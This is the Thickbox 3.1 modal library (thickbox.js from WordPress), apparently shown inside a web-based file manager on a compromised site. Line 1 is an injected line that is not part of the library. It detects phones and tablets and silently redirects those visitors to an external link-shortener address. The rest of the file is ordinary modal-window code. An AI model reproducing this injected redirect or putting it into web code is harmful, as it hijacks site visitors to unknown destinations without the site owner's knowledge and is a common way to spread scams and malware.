run:R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
14.88 KB
2012-11-05 21:00:15
R W Run
94 By
2012-11-07 18:49:10
R W Run
2.61 KB
2026-01-13 22:09:49
R W Run
13.73 KB
2026-08-13 20:01:45
R W Run
error_log
📄thickbox.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2'use strict';
3/*
4 * Thickbox 3.1 - One Box To Rule Them All.
5 * By Cody Lindley (http://www.codylindley.com)
6 * Copyright (c) 2007 cody lindley
7 * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
8 */
9
10/* global thickboxL10n, unescape */
11/* jshint -W018 */
12/* jshint -W038 */
13/* jshint -W040 */
14/* jshint -W069 */
15/* jshint -W097 */
16/* jshint -W098 */
17/* jshint -W109 */
18/* jshint -W116 */
19
20if ( typeof tb_pathToImage != 'string' ) {
21 var tb_pathToImage = thickboxL10n.loadingAnimation;
22}
23
24var imgLoader, TB_PrevCaption, TB_PrevURL, TB_PrevHTML, TB_NextCaption, TB_NextURL,
25 TB_NextHTML, TB_imageCount, TB_FoundURL, TB_TempArray, TB_Counter, TB_WIDTH, TB_HEIGHT;
26
27/*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/
28
29//on page load call tb_init
30jQuery(document).ready(function(){
31 tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox
32 imgLoader = new Image();// preload image
33 imgLoader.src = tb_pathToImage;
34});
35
36/*
37 * Add thickbox to href & area elements that have a class of .thickbox.
38 * Remove the loading indicator when content in an iframe has loaded.
39 */
40function tb_init(domChunk){
41 jQuery( 'body' )
42 .on( 'click', domChunk, tb_click )
43 .on( 'thickbox:iframe:loaded', function() {
44 jQuery( '#TB_window' ).removeClass( 'thickbox-loading' );
45 });
46}
47
48function tb_click(){
49 var t = this.title || this.name || null;
50 var a = this.href || this.alt;
51 var g = this.rel || false;
52 tb_show(t,a,g);
53 this.blur();
54 return false;
55}
56
57function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link
58
59 var $closeBtn;
60
61 try {
62 if (typeof document.body.style.maxHeight === "undefined") {//if IE 6
63 jQuery("body","html").css({height: "100%", width: "100%"});
64 jQuery("html").css("overflow","hidden");
65 if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6
66 jQuery("body").append("<iframe id='TB_HideSelect'>"+thickboxL10n.noiframes+"</iframe><div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>");
67 jQuery("#TB_overlay").on( 'click', tb_remove );
68 }
69 }else{//all others
70 if(document.getElementById("TB_overlay") === null){
71 jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>");
72 jQuery("#TB_overlay").on( 'click', tb_remove );
73 jQuery( 'body' ).addClass( 'modal-open' );
74 }
75 }
76
77 if(tb_detectMacXFF()){
78 jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash
79 }else{
80 jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity
81 }
82
83 if(caption===null){caption="";}
84 jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' width='208' /></div>");//add loader to the page
85 jQuery('#TB_load').show();//show loader
86
87 var baseURL;
88 if(url.indexOf("?")!==-1){ //ff there is a query string involved
89 baseURL = url.substr(0, url.indexOf("?"));
90 }else{
91 baseURL = url;
92 }
93
94 var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$|\.webp$|\.avif$/;
95 var urlType = baseURL.toLowerCase().match(urlString);
96
97 if(urlType == '.jpg' ||
98 urlType == '.jpeg' ||
99 urlType == '.png' ||
100 urlType == '.gif' ||
101 urlType == '.bmp' ||
102 urlType == '.webp' ||
103 urlType == '.avif'
104 ){//code to show images
105 var imgPreloader = new Image();
106
107 TB_PrevCaption = "";
108 TB_PrevURL = "";
109 TB_PrevHTML = "";
110 TB_NextCaption = "";
111 TB_NextURL = "";
112 TB_NextHTML = "";
113 TB_imageCount = "";
114 TB_FoundURL = false;
115 if(imageGroup){
116 TB_TempArray = jQuery("a[rel="+imageGroup+"]").get();
117 for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) {
118 var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
119 if (!(TB_TempArray[TB_Counter].href == url)) {
120 if (TB_FoundURL) {
121 TB_NextCaption = TB_TempArray[TB_Counter].title;
122 TB_NextURL = TB_TempArray[TB_Counter].href;
123 TB_NextHTML = "<span id='TB_next'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.next+"</a></span>";
124 } else {
125 TB_PrevCaption = TB_TempArray[TB_Counter].title;
126 TB_PrevURL = TB_TempArray[TB_Counter].href;
127 TB_PrevHTML = "<span id='TB_prev'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.prev+"</a></span>";
128 }
129 } else {
130 TB_FoundURL = true;
131 TB_imageCount = thickboxL10n.image + ' ' + (TB_Counter + 1) + ' ' + thickboxL10n.of + ' ' + (TB_TempArray.length);
132 }
133 }
134 }
135
136 imgPreloader.onload = function(){
137 imgPreloader.onload = null;
138
139 // Resizing large images - original by Christian Montoya edited by me.
140 var pagesize = tb_getPageSize();
141 var x = pagesize[0] - 150;
142 var y = pagesize[1] - 150;
143 var imageWidth = imgPreloader.width;
144 var imageHeight = imgPreloader.height;
145 if (imageWidth > x) {
146 imageHeight = imageHeight * (x / imageWidth);
147 imageWidth = x;
148 if (imageHeight > y) {
149 imageWidth = imageWidth * (y / imageHeight);
150 imageHeight = y;
151 }
152 } else if (imageHeight > y) {
153 imageWidth = imageWidth * (y / imageHeight);
154 imageHeight = y;
155 if (imageWidth > x) {
156 imageHeight = imageHeight * (x / imageWidth);
157 imageWidth = x;
158 }
159 }
160 // End Resizing
161
162 TB_WIDTH = imageWidth + 30;
163 TB_HEIGHT = imageHeight + 60;
164 jQuery("#TB_window").append("<a href='' id='TB_ImageOff'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon' aria-hidden='true'></span></button></div>");
165
166 jQuery("#TB_closeWindowButton").on( 'click', tb_remove );
167
168 // Declared in the function scope (not the blocks below) so the keydown handler can reach them under strict mode.
169 var goPrev = function(){
170 if(jQuery(document).off("click",goPrev)){jQuery(document).off("click",goPrev);}
171 jQuery("#TB_window").remove();
172 jQuery("body").append("<div id='TB_window'></div>");
173 tb_show(TB_PrevCaption, TB_PrevURL, imageGroup);
174 return false;
175 };
176 var goNext = function(){
177 jQuery("#TB_window").remove();
178 jQuery("body").append("<div id='TB_window'></div>");
179 tb_show(TB_NextCaption, TB_NextURL, imageGroup);
180 return false;
181 };
182
183 if (!(TB_PrevHTML === "")) {
184 jQuery("#TB_prev").on( 'click', goPrev );
185 }
186
187 if (!(TB_NextHTML === "")) {
188 jQuery("#TB_next").on( 'click', goNext );
189
190 }
191
192 jQuery(document).on('keydown.thickbox', function(e){
193 if ( e.which == 27 ){ // close
194 tb_remove();
195
196 } else if ( e.which == 190 ){ // display previous image
197 if(!(TB_NextHTML == "")){
198 jQuery(document).off('thickbox');
199 goNext();
200 }
201 } else if ( e.which == 188 ){ // display next image
202 if(!(TB_PrevHTML == "")){
203 jQuery(document).off('thickbox');
204 goPrev();
205 }
206 }
207 return false;
208 });
209
210 tb_position();
211 jQuery("#TB_load").remove();
212 jQuery("#TB_ImageOff").on( 'click', tb_remove );
213 jQuery("#TB_window").css({'visibility':'visible'}); //for safari using css instead of show
214 };
215
216 imgPreloader.src = url;
217 }else{//code to show html
218
219 var queryString = url.replace(/^[^\?]+\??/,'');
220 var params = tb_parseQuery( queryString );
221 var ajaxContentW, ajaxContentH;
222
223 TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no parameters were added to URL
224 TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no parameters were added to URL
225 ajaxContentW = TB_WIDTH - 30;
226 ajaxContentH = TB_HEIGHT - 45;
227
228 if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window
229 var urlNoQuery = url.split('TB_');
230 jQuery("#TB_iframeContent").remove();
231 if(params['modal'] != "true"){//iframe no modal
232 jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon' aria-hidden='true'></span></button></div></div><iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' >"+thickboxL10n.noiframes+"</iframe>");
233 }else{//iframe modal
234 jQuery("#TB_overlay").off();
235 jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'>"+thickboxL10n.noiframes+"</iframe>");
236 }
237 }else{// not an iframe, ajax
238 if(jQuery("#TB_window").css("visibility") != "visible"){
239 if(params['modal'] != "true"){//ajax no modal
240 jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon' aria-hidden='true'></span></button></div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>");
241 }else{//ajax modal
242 jQuery("#TB_overlay").off();
243 jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");
244 }
245 }else{//this means the window is already up, we are just loading new content via ajax
246 jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px";
247 jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px";
248 jQuery("#TB_ajaxContent")[0].scrollTop = 0;
249 jQuery("#TB_ajaxWindowTitle").html(caption);
250 }
251 }
252
253 jQuery("#TB_closeWindowButton").on( 'click', tb_remove );
254
255 if(url.indexOf('TB_inline') != -1){
256 jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children());
257 jQuery("#TB_window").on('tb_unload', function () {
258 jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished
259 });
260 tb_position();
261 jQuery("#TB_load").remove();
262 jQuery("#TB_window").css({'visibility':'visible'});
263 }else if(url.indexOf('TB_iframe') != -1){
264 tb_position();
265 jQuery("#TB_load").remove();
266 jQuery("#TB_window").css({'visibility':'visible'});
267 }else{
268 var load_url = url;
269 load_url += -1 === url.indexOf('?') ? '?' : '&';
270 jQuery("#TB_ajaxContent").load(load_url += "random=" + (new Date().getTime()),function(){//to do a post change this load method
271 tb_position();
272 jQuery("#TB_load").remove();
273 tb_init("#TB_ajaxContent a.thickbox");
274 jQuery("#TB_window").css({'visibility':'visible'});
275 });
276 }
277
278 }
279
280 if(!params['modal']){
281 jQuery(document).on('keydown.thickbox', function(e){
282 if ( e.which == 27 ){ // close
283 tb_remove();
284 return false;
285 }
286 });
287 }
288
289 $closeBtn = jQuery( '#TB_closeWindowButton' );
290 /*
291 * If the native Close button icon is visible, move focus on the button
292 * (e.g. in the Network Admin Themes screen).
293 * In other admin screens is hidden and replaced by a different icon.
294 */
295 if ( $closeBtn.find( '.tb-close-icon' ).is( ':visible' ) ) {
296 $closeBtn.trigger( 'focus' );
297 }
298
299 } catch(e) {
300 //nothing here
301 }
302}
303
304//helper functions below
305function tb_showIframe(){
306 jQuery("#TB_load").remove();
307 jQuery("#TB_window").css({'visibility':'visible'}).trigger( 'thickbox:iframe:loaded' );
308}
309
310function tb_remove() {
311 jQuery("#TB_imageOff").off("click");
312 jQuery("#TB_closeWindowButton").off("click");
313 jQuery( '#TB_window' ).fadeOut( 'fast', function() {
314 jQuery( '#TB_window, #TB_overlay, #TB_HideSelect' ).trigger( 'tb_unload' ).off().remove();
315 jQuery( 'body' ).trigger( 'thickbox:removed' );
316 });
317 jQuery( 'body' ).removeClass( 'modal-open' );
318 jQuery("#TB_load").remove();
319 if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
320 jQuery("body","html").css({height: "auto", width: "auto"});
321 jQuery("html").css("overflow","");
322 }
323 jQuery(document).off('.thickbox');
324 return false;
325}
326
327function tb_position() {
328var isIE6 = typeof document.body.style.maxHeight === "undefined";
329jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'});
330 if ( ! isIE6 ) { // take away IE6
331 jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'});
332 }
333}
334
335function tb_parseQuery ( query ) {
336 var Params = {};
337 if ( ! query ) {return Params;}// return empty object
338 var Pairs = query.split(/[;&]/);
339 for ( var i = 0; i < Pairs.length; i++ ) {
340 var KeyVal = Pairs[i].split('=');
341 if ( ! KeyVal || KeyVal.length != 2 ) {continue;}
342 var key = unescape( KeyVal[0] );
343 var val = unescape( KeyVal[1] );
344 val = val.replace(/\+/g, ' ');
345 Params[key] = val;
346 }
347 return Params;
348}
349
350function tb_getPageSize(){
351 var de = document.documentElement;
352 var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
353 var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight;
354 return [w,h];
355}
356
357function tb_detectMacXFF() {
358 var userAgent = navigator.userAgent.toLowerCase();
359 if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) {
360 return true;
361 }
362}
363